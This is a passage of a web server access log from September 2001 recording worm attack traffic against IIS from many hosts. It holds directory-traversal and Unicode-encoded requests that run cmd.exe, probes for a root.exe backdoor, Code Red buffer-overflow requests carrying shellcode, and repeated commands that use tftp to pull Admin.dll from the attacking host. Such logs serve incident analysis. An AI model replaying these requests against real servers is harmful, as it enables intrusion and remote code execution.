  4651. 20010918 15:49:50:  [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4652. 20010918 15:50:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4653. 20010918 15:50:08:  [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4654. 20010918 15:50:26: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4655. 20010918 15:50:26:  [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4656. 20010918 15:50:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4657. 20010918 15:50:44:  [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  4658. 20010918 15:51:02: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4659. 20010918 15:51:02:  [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4660. 20010918 15:51:22: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4661. 20010918 15:51:22:  [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4662. 20010918 15:51:41: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4663. 20010918 15:51:41:  [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4664. 20010918 15:51:59: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4665. 20010918 15:51:59:  [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4666. 20010918 15:52:17: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4667. 20010918 15:52:17:  [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  4668. 20010918 15:52:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4669. 20010918 15:52:36:  [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4670. 20010918 15:52:55: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4671. 20010918 15:52:55:  [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4672. 20010918 15:53:13: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4673. 20010918 15:53:13: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4674. 20010918 15:53:13:  [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4675. 20010918 15:53:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4676. 20010918 15:53:32: kzsc.ucsc.edu [128.114.160.45] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4677. 20010918 15:53:32:  [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4678. 20010918 15:53:50: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4679. 20010918 15:53:50: kzsc.ucsc.edu [128.114.160.45] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4680. 20010918 15:53:50:  [128.164.242.124] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  4681. 20010918 15:54:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4682. 20010918 15:54:08: kzsc.ucsc.edu [128.114.160.45] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4683. 20010918 15:54:08:  [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4684. 20010918 15:54:27: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4685. 20010918 15:54:27: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4686. 20010918 15:54:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4687. 20010918 15:54:27:  [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4688. 20010918 15:54:45: kzsc.ucsc.edu [128.114.160.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4689. 20010918 15:54:45:  [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4690. 20010918 15:55:03: kzsc.ucsc.edu [128.114.160.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4691. 20010918 15:55:03:  [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4692. 20010918 15:55:22: kzsc.ucsc.edu [128.114.160.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4693. 20010918 15:55:22:  [128.164.242.124] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  4694. 20010918 15:55:40: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4695. 20010918 15:55:40:  [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4696. 20010918 15:55:58: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4697. 20010918 15:55:58:  [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4698. 20010918 15:56:16: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4699. 20010918 15:56:17:  [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4700. 20010918 15:56:35: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4701. 20010918 15:56:35:  [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4702. 20010918 15:56:53: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4703. 20010918 15:56:53:  [128.164.242.124] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  4704. 20010918 15:57:11: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4705. 20010918 15:57:11:  [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4706. 20010918 15:57:29: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4707. 20010918 15:57:30:  [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4708. 20010918 15:57:48: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4709. 20010918 15:57:48:  [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4710. 20010918 15:58:07:  [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4711. 20010918 15:58:25:  [128.164.242.124] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  4712. 20010918 15:58:43: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4713. 20010918 15:58:43:  [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4714. 20010918 15:59:02: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4715. 20010918 15:59:02:  [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4716. 20010918 15:59:20: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4717. 20010918 15:59:20:  [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4718. 20010918 15:59:38: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4719. 20010918 15:59:38:  [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4720. 20010918 15:59:56: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4721. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4722. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4723. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4724. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4725. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4726. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4727. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4728. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4729. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4730. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4731. 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4732. 20010918 15:59:57:  [128.164.242.124] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  4733. 20010918 16:00:18:  [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4734. 20010918 16:00:36:  [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4735. 20010918 16:00:55:  [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4736. 20010918 16:01:13:  [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4737. 20010918 16:01:31:  [128.164.242.124] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  4738. 20010918 16:01:49:  [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4739. 20010918 16:02:08:  [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4740. 20010918 16:02:26:  [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4741. 20010918 16:02:44:  [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4742. 20010918 16:03:02:  [128.164.242.124] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  4743. 20010918 16:03:21:  [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4744. 20010918 16:03:39:  [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  4745. 20010918 16:03:57:  [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  4746. 20010918 16:04:15:  [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  4747. 20010918 16:04:34:  [128.164.242.124] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  4748. 20010918 16:04:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4749. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4750. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4751. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4752. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4753. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4754. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4755. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4756. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4757. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4758. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4759. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4760. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4761. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4762. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4763. 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4764. 20010918 16:06:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4765. 20010918 16:09:39: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4766. 20010918 16:09:56: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4767. 20010918 16:09:56: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4768. 20010918 16:09:56: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4769. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4770. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4771. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4772. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4773. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4774. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4775. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4776. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4777. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4778. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4779. 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4780. 20010918 16:10:00: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4781. 20010918 16:10:00: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4782. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4783. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4784. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4785. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4786. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4787. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4788. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4789. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4790. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4791. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4792. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4793. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4794. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4795. 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4796. 20010918 16:12:05: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4797. 20010918 16:12:05: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4798. 20010918 16:13:38: ulex.FSL.ORST.EDU [128.193.112.25] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4799. 20010918 16:13:38: ulex.FSL.ORST.EDU [128.193.112.25] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4800. 20010918 16:13:39: ulex.FSL.ORST.EDU [128.193.112.25] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4801. 20010918 16:13:39: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4802. 20010918 16:13:39: ulex.FSL.ORST.EDU [128.193.112.25] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4803. 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4804. 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4805. 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4806. 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4807. 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4808. 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4809. 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4810. 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4811. 20010918 16:13:42: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4812. 20010918 16:13:42: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4813. 20010918 16:13:42: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4814. 20010918 16:17:04: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4815. 20010918 16:17:04: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
